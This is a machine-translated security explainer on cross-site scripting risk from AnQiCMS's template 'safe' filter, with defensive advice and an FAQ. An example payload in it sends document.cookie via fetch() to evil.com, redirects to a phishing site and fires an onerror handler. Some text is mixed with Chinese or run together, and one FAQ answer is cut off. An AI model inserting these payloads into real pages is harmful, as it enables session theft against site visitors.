Why should you be cautious when using the `safe` filter in AnQiCMS, what are the security risks?

In AnQiCMS template development,safeThe filter is a commonly used and seemingly convenient tool that allows us to output content in its original HTML form to the page, rather than being automatically escaped.This is particularly useful for displaying complex layouts created by rich text editors, or for embedding specific HTML structures in templates.However, it is precisely this convenience that often hides an unignorable safety risk, and we need to be particularly cautious when using it.

safeWhy use the filter, and what kind of crisis does it hide?

By default, AnQiCMS for your website security will automatically escape all HTML content output in the template. This means that if the content contains<script>tags,<a>Tags or other HTML markings, the system will treat them as plain text, for example<Will be escaped to&lt;,>Will be escaped to&gt;Thus effectively preventing the browser from parsing it as an actual HTML element or executing JavaScript code.This mechanism is an important defense against XSS (cross-site scripting attacks).

However, in some scenarios, we need to render rich text content containing HTML tags directly on the page, such as the main content of articles, product details, page introductions, etc., AnQiCMS providessafeA filter to meet this need. When we use a variable|safeThis is equivalent to explicitly telling the system: 'I believe this content is safe, please render it as HTML directly without automatic escaping.' Common usage includes:{{archiveContent|safe}}or{{siteCopyright|safe}}.

This sentence 'I believe it is safe' has become the source of potential risks.

safeThe main security risk brought by the filter: Cross-site Scripting (XSS)

safeThe greatest risk of the filter is that it completely trusts the content it processes. If an unscrupulous user (or attacker) can inject malicious code into your website content and that content is eventually used in the template|safeOutput, then these malicious codes will be executed in the user's browser. This is typical ofCross-Site Scripting (XSS) attack.

Imagine if an attacker inserted similar code in a comment, article draft, or any text input field<script>alert('您的Cookie已被盗取！');</script>Even more malicious code, for example:

<script>
    // 窃取用户会话Cookie，发送到攻击者的服务器
    fetch('https://evil.com/steal?cookie=' + document.cookie);
    // 重定向用户到恶意网站
    window.location.href = 'https://malicious-phishing-site.com';
</script>
<img src="无效图片路径" onerror="alert('Oops, you've been hacked!');">

If this malicious content gets through|safeand is rendered directly onto the page, then:

  1. The user session will be hijacked:An attacker can steal the user's login credentials (Cookie), impersonate the user to log in to the website, and perform any operation, such as changing passwords, posting content, viewing sensitive information, etc.
  2. The website has been tampered with:The attacker can modify web content, insert false information, advertisements, and even redirect users to phishing websites.
  3. Spreading malware:By诱导users下载or点击，可能导致users电脑感染virus或malicious software。
  4. Sensitive data leak：The attacker can access and steal any sensitive data accessible in the user's web browser.

This is all because ofsafeThe filter has disabled AnQiCMS's built-in defense mechanism, giving malicious HTML and JavaScript an opportunity.

When should one be cautious?safeAnd how to prevent risks?

safeThe filter is not a beast of flood, but when using it, we must follow the principle of 'minimum privilege' and 'never trust completely'.

  1. The source of content must be absolutely credible:Only consider using when you are sure the content comes from a completely trusted source (such as directly entered by an internal system administrator, and all editors have undergone strict review and security training)safe. For any user-generated content (UGC), even if it appears harmless, it should be avoided from direct usesafe.
  2. Backend strict verification and purification:This is the most critical step. No matter how credible the source of the content may seem, it should be saved in the database.BeforePerform strict server-side validation and HTML sanitization.
    • Verification:Ensure that the input conforms to the expected format, for example, if plain text is allowed, then no HTML tags are allowed.
    • Purify:If partial HTML is allowed (such as rich text), a dedicated HTML sanitization library should be used to remove all potential malicious tags and attributes such as<script>/<iframe>/onerror/onloadetc.), retaining only safe HTML tags (such as<p>/<strong>/<em>/<ul>/<img>Wait).The built-in sensitive word filtering function of AnQiCMS helps ensure content compliance, but a more professional HTML sanitization is needed for XSS.
  3. AnQiCMS Markdown Editor:If you have enabled the Markdown editor and the content will be converted from Markdown to HTML (for example,archiveDetailin the labelrender=true)，then the final generated HTML still needs|safeDisplay. In this case, AnQiCMS will parse Markdown syntax to HTML, theoretically, attackers find it difficult to inject directlyscriptTags, but still need to be vigilant of malicious image links or inline styles and other possible injection points.
  4. Minimize the scope of use:Try to shrinksafeThe scope of the filter. It should only be used for specific variables that truly need to render HTML and have been strictly sanitized on the backend.
  5. Regular security audits:Regularly check the website content, especially those that allowsafeThe area of the filter output, to see if there is any abnormal HTML structure or suspicious JavaScript code.

In short,safeThe filter is a powerful feature provided by AnQiCMS, used to enhance the flexibility of templates.But it is essentially an "allow" operation that requires the user to assume corresponding safety responsibilities.While enjoying the convenience, be sure to keep in mind the potential safety risks, and build a solid security barrier by means of backend verification, purification, and cautious use, ensuring the safety of the website and user data.

Frequently Asked Questions (FAQ)

Q1: If I use a Markdown editor and the content will be rendered as HTML in the end, do I still need to worry about XSS?A1: Even when using a Markdown editor, caution is still required. The conversion process from Markdown to HTML is usually safer than rendering raw HTML directly, because it has its own parsing rules that make direct injection<script>Tags and malicious code become difficult. However, attackers may still be able to through image links.onerrorEvents, attempting to inject through forged Markdown links, or exploiting vulnerabilities in the Markdown parser itself. Therefore, even if the content originates from Markdown, if it is displayed using|safeThe backend validation and purification of content is still an indispensable safety measure.

Q2: Besides XSS,safewhat potential problems can filters bring?A2: In addition to direct XSS attacks,safeThe filter may also cause other issues. For example, malicious users may insert non-standard HTML tags, causing page layout chaos and style issues; or embed hidden<iframe>

Q3: Does AnQiCMS have a built-in mechanism to help me reducesafethe risk brought by the filter?A3: AnQiCMS provides some basic security features such as 'sensitive word filtering' and 'content security management', which helps identify and block certain违规 or obvious malicious text.In addition, the default template escaping mechanism is the first line of defense against XSS.But please note that these built-in features mainly focus on content compliance and general defense. For refined HTML sanitization to completely prevent advanced XSS attacks, you may still need to combine third-party HTML sanitization libraries (to be processed before content is stored) or a stricter backend content review process to further strengthen security.